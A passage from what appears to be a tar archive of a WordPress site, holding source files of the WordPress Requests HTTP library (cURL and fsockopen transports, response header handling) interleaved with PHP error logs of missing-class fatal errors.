curl_multi_add_handle($multihandle, $subhandles[$id]);
}
$completed = 0;
$responses = [];
$subrequestcount = count($subrequests);
$request['options']['hooks']->dispatch('curl.before_multi_exec', [&$multihandle]);
do {
$active = 0;
do {
$status = curl_multi_exec($multihandle, $active);
} while ($status === CURLM_CALL_MULTI_PERFORM);
$to_process = [];
// Read the information as needed
while ($done = curl_multi_info_read($multihandle)) {
$key = array_search($done['handle'], $subhandles, true);
if (!isset($to_process[$key])) {
$to_process[$key] = $done;
}
}
// Parse the finished requests before we start getting the new ones
foreach ($to_process as $key => $done) {
$options = $requests[$key]['options'];
if ($done['result'] !== CURLE_OK) {
//get error string for handle.
$reason = curl_error($done['handle']);
$exception = new CurlException(
$reason,
CurlException::EASY,
$done['handle'],
$done['result']
);
$responses[$key] = $exception;
$options['hooks']->dispatch('transport.internal.parse_error', [&$responses[$key], $requests[$key]]);
} else {
$responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options);
$options['hooks']->dispatch('transport.internal.parse_response', [&$responses[$key], $requests[$key]]);
}
curl_multi_remove_handle($multihandle, $done['handle']);
curl_close($done['handle']);
if (!is_string($responses[$key])) {
$options['hooks']->dispatch('multiple.request.complete', [&$responses[$key], $key]);
}
$completed++;
}
} while ($active || $completed < $subrequestcount);
$request['options']['hooks']->dispatch('curl.after_multi_exec', [&$multihandle]);
curl_multi_close($multihandle);
return $responses;
}
/**
* Get the cURL handle for use in a multi-request
*
* @param string $url URL to request
* @param array $headers Associative array of request headers
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
* @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
* @return resource|\CurlHandle Subrequest's cURL handle
*/
public function &get_subrequest_handle($url, $headers, $data, $options) {
$this->setup_handle($url, $headers, $data, $options);
if ($options['filename'] !== false) {
$this->stream_handle = fopen($options['filename'], 'wb');
}
$this->response_data = '';
$this->response_bytes = 0;
$this->response_byte_limit = false;
if ($options['max_bytes'] !== false) {
$this->response_byte_limit = $options['max_bytes'];
}
$this->hooks = $options['hooks'];
return $this->handle;
}
/**
* Setup the cURL handle for the given data
*
* @param string $url URL to request
* @param array $headers Associative array of request headers
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
* @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
*/
private function setup_handle($url, $headers, $data, $options) {
$options['hooks']->dispatch('curl.before_request', [&$this->handle]);
// Force closing the connection for old versions of cURL (<7.22).
if (!isset($headers['Connection'])) {
$headers['Connection'] = 'close';
}
/**
* Add "Expect" header.
*
* By default, cURL adds a "Expect: 100-Continue" to most requests. This header can
* add as much as a second to the time it takes for cURL to perform a request. To
* prevent this, we need to set an empty "Expect" header. To match the behaviour of
* Guzzle, we'll add the empty header to requests that are smaller than 1 MB and use
* HTTP/1.1.
*
* https://curl.se/mail/lib-2017-07/0013.html
*/
if (!isset($headers['Expect']) && $options['protocol_version'] === 1.1) {
$headers['Expect'] = $this->get_expect_header($data);
}
$headers = Requests::flatten($headers);
if (!empty($data)) {
$data_format = $options['data_format'];
if ($data_format === 'query') {
$url = self::format_get($url, $data);
$data = '';
} elseif (!is_string($data)) {
$data = http_build_query($data, '', '&');
}
}
switch ($options['type']) {
case Requests::POST:
curl_setopt($this->handle, CURLOPT_POST, true);
curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
break;
case Requests::HEAD:
curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
curl_setopt($this->handle, CURLOPT_NOBODY, true);
break;
case Requests::TRACE:
curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
break;
case Requests::PATCH:
case Requests::PUT:
case Requests::DELETE:
case Requests::OPTIONS:
default:
curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
if (!empty($data)) {
curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
}
}
// cURL requires a minimum timeout of 1 second when using the system
// DNS resolver, as it uses `alarm()`, which is second resolution only.
// There's no way to detect which DNS resolver is being used from our
// end, so we need to round up regardless of the supplied timeout.
//
// https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609
$timeout = max($options['timeout'], 1);
if (is_int($timeout) || $this->version < self::CURL_7_16_2) {
curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout));
} else {
// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_timeout_msFound
curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000));
}
if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) {
curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout']));
} else {
// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_connecttimeout_msFound
curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000));
}
curl_setopt($this->handle, CURLOPT_URL, $url);
curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']);
if (!empty($headers)) {
curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers);
}
if ($options['protocol_version'] === 1.1) {
curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
} else {
curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
}
if ($options['blocking'] === true) {
curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, [$this, 'stream_headers']);
curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, [$this, 'stream_body']);
curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE);
}
}
/**
* Process a response
*
* @param string $response Response data from the body
* @param array $options Request options
* @return string|false HTTP response data including headers. False if non-blocking.
* @throws \WpOrg\Requests\Exception If the request resulted in a cURL error.
*/
public function process_response($response, $options) {
if ($options['blocking'] === false) {
$fake_headers = '';
$options['hooks']->dispatch('curl.after_request', [&$fake_headers]);
return false;
}
if ($options['filename'] !== false && $this->stream_handle) {
fclose($this->stream_handle);
$this->headers = trim($this->headers);
} else {
$this->headers .= $response;
}
if (curl_errno($this->handle)) {
$error = sprintf(
'cURL error %s: %s',
curl_errno($this->handle),
curl_error($this->handle)
);
throw new Exception($error, 'curlerror', $this->handle);
}
$this->info = curl_getinfo($this->handle);
$options['hooks']->dispatch('curl.after_request', [&$this->headers, &$this->info]);
return $this->headers;
}
/**
* Collect the headers as they are received
*
* @param resource|\CurlHandle $handle cURL handle
* @param string $headers Header string
* @return integer Length of provided header
*/
public function stream_headers($handle, $headers) {
// Why do we do this? cURL will send both the final response and any
// interim responses, such as a 100 Continue. We don't need that.
// (We may want to keep this somewhere just in case)
if ($this->done_headers) {
$this->headers = '';
$this->done_headers = false;
}
$this->headers .= $headers;
if ($headers === "\r\n") {
$this->done_headers = true;
}
return strlen($headers);
}
/**
* Collect data as it's received
*
* @since 1.6.1
*
* @param resource|\CurlHandle $handle cURL handle
* @param string $data Body data
* @return integer Length of provided data
*/
public function stream_body($handle, $data) {
$this->hooks->dispatch('request.progress', [$data, $this->response_bytes, $this->response_byte_limit]);
$data_length = strlen($data);
// Are we limiting the response size?
if ($this->response_byte_limit) {
if ($this->response_bytes === $this->response_byte_limit) {
// Already at maximum, move on
return $data_length;
}
if (($this->response_bytes + $data_length) > $this->response_byte_limit) {
// Limit the length
$limited_length = ($this->response_byte_limit - $this->response_bytes);
$data = substr($data, 0, $limited_length);
}
}
if ($this->stream_handle) {
fwrite($this->stream_handle, $data);
} else {
$this->response_data .= $data;
}
$this->response_bytes += strlen($data);
return $data_length;
}
/**
* Format a URL given GET data
*
* @param string $url Original URL.
* @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
* @return string URL with data
*/
private static function format_get($url, $data) {
if (!empty($data)) {
$query = '';
$url_parts = parse_url($url);
if (empty($url_parts['query'])) {
$url_parts['query'] = '';
} else {
$query = $url_parts['query'];
}
$query .= '&' . http_build_query($data, '', '&');
$query = trim($query, '&');
if (empty($url_parts['query'])) {
$url .= '?' . $query;
} else {
$url = str_replace($url_parts['query'], $query, $url);
}
}
return $url;
}
/**
* Self-test whether the transport can be used.
*
* The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
*
* @codeCoverageIgnore
* @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return bool Whether the transport can be used.
*/
public static function test($capabilities = []) {
if (!function_exists('curl_init') || !function_exists('curl_exec')) {
return false;
}
// If needed, check that our installed curl version supports SSL
if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
$curl_version = curl_version();
if (!(CURL_VERSION_SSL & $curl_version['features'])) {
return false;
}
}
return true;
}
/**
* Get the correct "Expect" header for the given request data.
*
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD.
* @return string The "Expect" header.
*/
private function get_expect_header($data) {
if (!is_array($data)) {
return strlen((string) $data) >= 1048576 ? '100-Continue' : '';
}
$bytesize = 0;
$iterator = new RecursiveIteratorIterator(new RecursiveArrayIterator($data));
foreach ($iterator as $datum) {
$bytesize += strlen((string) $datum);
if ($bytesize >= 1048576) {
return '100-Continue';
}
}
return '';
}
}
Transport/error_log 0000644 00000011324 15207614116 0010461 0 ustar 00 [25-Jul-2025 20:49:28 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[26-Jul-2025 01:03:45 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[10-Aug-2025 06:23:27 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[10-Aug-2025 06:23:33 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[18-Aug-2025 00:41:12 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[18-Aug-2025 00:55:00 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[18-Aug-2025 00:56:00 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[25-Aug-2025 13:21:58 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[25-Aug-2025 20:14:07 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[29-Sep-2025 13:56:20 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[29-Sep-2025 20:24:03 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[22-Oct-2025 08:54:03 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[22-Oct-2025 09:11:21 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[02-Nov-2025 13:48:20 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25
[02-Nov-2025 20:15:03 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
Transport/Fsockopen.php 0000644 00000037033 15207614116 0011211 0 ustar 00 dispatch('fsockopen.before_request');
$url_parts = parse_url($url);
if (empty($url_parts)) {
throw new Exception('Invalid URL.', 'invalidurl', $url);
}
$host = $url_parts['host'];
$context = stream_context_create();
$verifyname = false;
$case_insensitive_headers = new CaseInsensitiveDictionary($headers);
// HTTPS support
if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
$remote_socket = 'ssl://' . $host;
if (!isset($url_parts['port'])) {
$url_parts['port'] = Port::HTTPS;
}
$context_options = [
'verify_peer' => true,
'capture_peer_cert' => true,
];
$verifyname = true;
// SNI, if enabled (OpenSSL >=0.9.8j)
// phpcs:ignore PHPCompatibility.Constants.NewConstants.openssl_tlsext_server_nameFound
if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) {
$context_options['SNI_enabled'] = true;
if (isset($options['verifyname']) && $options['verifyname'] === false) {
$context_options['SNI_enabled'] = false;
}
}
if (isset($options['verify'])) {
if ($options['verify'] === false) {
$context_options['verify_peer'] = false;
$context_options['verify_peer_name'] = false;
$verifyname = false;
} elseif (is_string($options['verify'])) {
$context_options['cafile'] = $options['verify'];
}
}
if (isset($options['verifyname']) && $options['verifyname'] === false) {
$context_options['verify_peer_name'] = false;
$verifyname = false;
}
// Handle the PHP 8.4 deprecation (PHP 9.0 removal) of the function signature we use for stream_context_set_option().
// Ref: https://wiki.php.net/rfc/deprecate_functions_with_overloaded_signatures#stream_context_set_option
if (function_exists('stream_context_set_options')) {
// PHP 8.3+.
stream_context_set_options($context, ['ssl' => $context_options]);
} else {
// PHP < 8.3.
stream_context_set_option($context, ['ssl' => $context_options]);
}
} else {
$remote_socket = 'tcp://' . $host;
}
$this->max_bytes = $options['max_bytes'];
if (!isset($url_parts['port'])) {
$url_parts['port'] = Port::HTTP;
}
$remote_socket .= ':' . $url_parts['port'];
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler
set_error_handler([$this, 'connect_error_handler'], E_WARNING | E_NOTICE);
$options['hooks']->dispatch('fsockopen.remote_socket', [&$remote_socket]);
$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context);
restore_error_handler();
if ($verifyname && !$this->verify_certificate_from_context($host, $context)) {
throw new Exception('SSL certificate did not match the requested domain name', 'ssl.no_match');
}
if (!$socket) {
if ($errno === 0) {
// Connection issue
throw new Exception(rtrim($this->connect_error), 'fsockopen.connect_error');
}
throw new Exception($errstr, 'fsockopenerror', null, $errno);
}
$data_format = $options['data_format'];
if ($data_format === 'query') {
$path = self::format_get($url_parts, $data);
$data = '';
} else {
$path = self::format_get($url_parts, []);
}
$options['hooks']->dispatch('fsockopen.remote_host_path', [&$path, $url]);
$request_body = '';
$out = sprintf("%s %s HTTP/%.1F\r\n", $options['type'], $path, $options['protocol_version']);
if ($options['type'] !== Requests::TRACE) {
if (is_array($data)) {
$request_body = http_build_query($data, '', '&');
} else {
$request_body = $data;
}
// Always include Content-length on POST requests to prevent
// 411 errors from some servers when the body is empty.
if (!empty($data) || $options['type'] === Requests::POST) {
if (!isset($case_insensitive_headers['Content-Length'])) {
$headers['Content-Length'] = strlen($request_body);
}
if (!isset($case_insensitive_headers['Content-Type'])) {
$headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
}
}
}
if (!isset($case_insensitive_headers['Host'])) {
$out .= sprintf('Host: %s', $url_parts['host']);
$scheme_lower = strtolower($url_parts['scheme']);
if (($scheme_lower === 'http' && $url_parts['port'] !== Port::HTTP) || ($scheme_lower === 'https' && $url_parts['port'] !== Port::HTTPS)) {
$out .= ':' . $url_parts['port'];
}
$out .= "\r\n";
}
if (!isset($case_insensitive_headers['User-Agent'])) {
$out .= sprintf("User-Agent: %s\r\n", $options['useragent']);
}
$accept_encoding = $this->accept_encoding();
if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) {
$out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding);
}
$headers = Requests::flatten($headers);
if (!empty($headers)) {
$out .= implode("\r\n", $headers) . "\r\n";
}
$options['hooks']->dispatch('fsockopen.after_headers', [&$out]);
if (substr($out, -2) !== "\r\n") {
$out .= "\r\n";
}
if (!isset($case_insensitive_headers['Connection'])) {
$out .= "Connection: Close\r\n";
}
$out .= "\r\n" . $request_body;
$options['hooks']->dispatch('fsockopen.before_send', [&$out]);
fwrite($socket, $out);
$options['hooks']->dispatch('fsockopen.after_send', [$out]);
if (!$options['blocking']) {
fclose($socket);
$fake_headers = '';
$options['hooks']->dispatch('fsockopen.after_request', [&$fake_headers]);
return '';
}
$timeout_sec = (int) floor($options['timeout']);
if ($timeout_sec === $options['timeout']) {
$timeout_msec = 0;
} else {
$timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS;
}
stream_set_timeout($socket, $timeout_sec, $timeout_msec);
$response = '';
$body = '';
$headers = '';
$this->info = stream_get_meta_data($socket);
$size = 0;
$doingbody = false;
$download = false;
if ($options['filename']) {
// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
$download = @fopen($options['filename'], 'wb');
if ($download === false) {
$error = error_get_last();
throw new Exception($error['message'], 'fopen');
}
}
while (!feof($socket)) {
$this->info = stream_get_meta_data($socket);
if ($this->info['timed_out']) {
throw new Exception('fsocket timed out', 'timeout');
}
$block = fread($socket, Requests::BUFFER_SIZE);
if (!$doingbody) {
$response .= $block;
if (strpos($response, "\r\n\r\n")) {
list($headers, $block) = explode("\r\n\r\n", $response, 2);
$doingbody = true;
}
}
// Are we in body mode now?
if ($doingbody) {
$options['hooks']->dispatch('request.progress', [$block, $size, $this->max_bytes]);
$data_length = strlen($block);
if ($this->max_bytes) {
// Have we already hit a limit?
if ($size === $this->max_bytes) {
continue;
}
if (($size + $data_length) > $this->max_bytes) {
// Limit the length
$limited_length = ($this->max_bytes - $size);
$block = substr($block, 0, $limited_length);
}
}
$size += strlen($block);
if ($download) {
fwrite($download, $block);
} else {
$body .= $block;
}
}
}
$this->headers = $headers;
if ($download) {
fclose($download);
} else {
$this->headers .= "\r\n\r\n" . $body;
}
fclose($socket);
$options['hooks']->dispatch('fsockopen.after_request', [&$this->headers, &$this->info]);
return $this->headers;
}
/**
* Send multiple requests simultaneously
*
* @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()}
* @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation
* @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public function request_multiple($requests, $options) {
// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
if (empty($requests)) {
return [];
}
if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
}
if (is_array($options) === false) {
throw InvalidArgument::create(2, '$options', 'array', gettype($options));
}
$responses = [];
$class = get_class($this);
foreach ($requests as $id => $request) {
try {
$handler = new $class();
$responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']);
$request['options']['hooks']->dispatch('transport.internal.parse_response', [&$responses[$id], $request]);
} catch (Exception $e) {
$responses[$id] = $e;
}
if (!is_string($responses[$id])) {
$request['options']['hooks']->dispatch('multiple.request.complete', [&$responses[$id], $id]);
}
}
return $responses;
}
/**
* Retrieve the encodings we can accept
*
* @return string Accept-Encoding header value
*/
private static function accept_encoding() {
$type = [];
if (function_exists('gzinflate')) {
$type[] = 'deflate;q=1.0';
}
if (function_exists('gzuncompress')) {
$type[] = 'compress;q=0.5';
}
$type[] = 'gzip;q=0.5';
return implode(', ', $type);
}
/**
* Format a URL given GET data
*
* @param array $url_parts Array of URL parts as received from {@link https://www.php.net/parse_url}
* @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
* @return string URL with data
*/
private static function format_get($url_parts, $data) {
if (!empty($data)) {
if (empty($url_parts['query'])) {
$url_parts['query'] = '';
}
$url_parts['query'] .= '&' . http_build_query($data, '', '&');
$url_parts['query'] = trim($url_parts['query'], '&');
}
if (isset($url_parts['path'])) {
if (isset($url_parts['query'])) {
$get = $url_parts['path'] . '?' . $url_parts['query'];
} else {
$get = $url_parts['path'];
}
} else {
$get = '/';
}
return $get;
}
/**
* Error handler for stream_socket_client()
*
* @param int $errno Error number (e.g. E_WARNING)
* @param string $errstr Error message
*/
public function connect_error_handler($errno, $errstr) {
// Double-check we can handle it
if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) {
// Return false to indicate the default error handler should engage
return false;
}
$this->connect_error .= $errstr . "\n";
return true;
}
/**
* Verify the certificate against common name and subject alternative names
*
* Unfortunately, PHP doesn't check the certificate against the alternative
* names, leading things like 'https://www.github.com/' to be invalid.
* Instead
*
* @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
*
* @param string $host Host name to verify against
* @param resource $context Stream context
* @return bool
*
* @throws \WpOrg\Requests\Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`)
* @throws \WpOrg\Requests\Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`)
*/
public function verify_certificate_from_context($host, $context) {
$meta = stream_context_get_options($context);
// If we don't have SSL options, then we couldn't make the connection at
// all
if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) {
throw new Exception(rtrim($this->connect_error), 'ssl.connect_error');
}
$cert = openssl_x509_parse($meta['ssl']['peer_certificate']);
return Ssl::verify_certificate($host, $cert);
}
/**
* Self-test whether the transport can be used.
*
* The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
*
* @codeCoverageIgnore
* @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`.
* @return bool Whether the transport can be used.
*/
public static function test($capabilities = []) {
if (!function_exists('fsockopen')) {
return false;
}
// If needed, check that streams support SSL
if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) {
return false;
}
}
return true;
}
}
Response/Headers.php 0000644 00000006035 15207614116 0010435 0 ustar 00 data[$offset])) {
return null;
}
return $this->flatten($this->data[$offset]);
}
/**
* Set the given item
*
* @param string $offset Item name
* @param string $value Item value
*
* @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
*/
public function offsetSet($offset, $value) {
if ($offset === null) {
throw new Exception('Object is a dictionary, not a list', 'invalidset');
}
if (is_string($offset)) {
$offset = strtolower($offset);
}
if (!isset($this->data[$offset])) {
$this->data[$offset] = [];
}
$this->data[$offset][] = $value;
}
/**
* Get all values for a given header
*
* @param string $offset Name of the header to retrieve.
* @return array|null Header values
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not valid as an array key.
*/
public function getValues($offset) {
if (!is_string($offset) && !is_int($offset)) {
throw InvalidArgument::create(1, '$offset', 'string|int', gettype($offset));
}
if (is_string($offset)) {
$offset = strtolower($offset);
}
if (!isset($this->data[$offset])) {
return null;
}
return $this->data[$offset];
}
/**
* Flattens a value into a string
*
* Converts an array into a string by imploding values with a comma, as per
* RFC2616's rules for folding headers.
*
* @param string|array $value Value to flatten
* @return string Flattened value
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or an array.
*/
public function flatten($value) {
if (is_string($value)) {
return $value;
}
if (is_array($value)) {
return implode(',', $value);
}
throw InvalidArgument::create(1, '$value', 'string|array', gettype($value));
}
/**
* Get an iterator for the data
*
* Converts the internally stored values to a comma-separated string if there is more
* than one value for a key.
*
* @return \ArrayIterator
*/
public function getIterator() {
return new FilteredIterator($this->data, [$this, 'flatten']);
}
}
Response/error_log 0000644 00000005240 15207614116 0010263 0 ustar 00 [25-Jul-2025 14:06:43 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20
[10-Aug-2025 06:23:13 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20
[18-Aug-2025 00:18:23 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20
[18-Aug-2025 00:28:55 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20
[26-Aug-2025 00:06:58 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20
[30-Sep-2025 00:09:06 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20
[22-Oct-2025 13:10:11 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20
[03-Nov-2025 00:29:20 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20
Utility/CaseInsensitiveDictionary.php 0000644 00000004713 15207614116 0014052 0 ustar 00 $value) {
$this->offsetSet($offset, $value);
}
}
/**
* Check if the given item exists
*
* @param string $offset Item key
* @return boolean Does the item exist?
*/
#[ReturnTypeWillChange]
public function offsetExists($offset) {
if (is_string($offset)) {
$offset = strtolower($offset);
}
return isset($this->data[$offset]);
}
/**
* Get the value for the item
*
* @param string $offset Item key
* @return string|null Item value (null if the item key doesn't exist)
*/
#[ReturnTypeWillChange]
public function offsetGet($offset) {
if (is_string($offset)) {
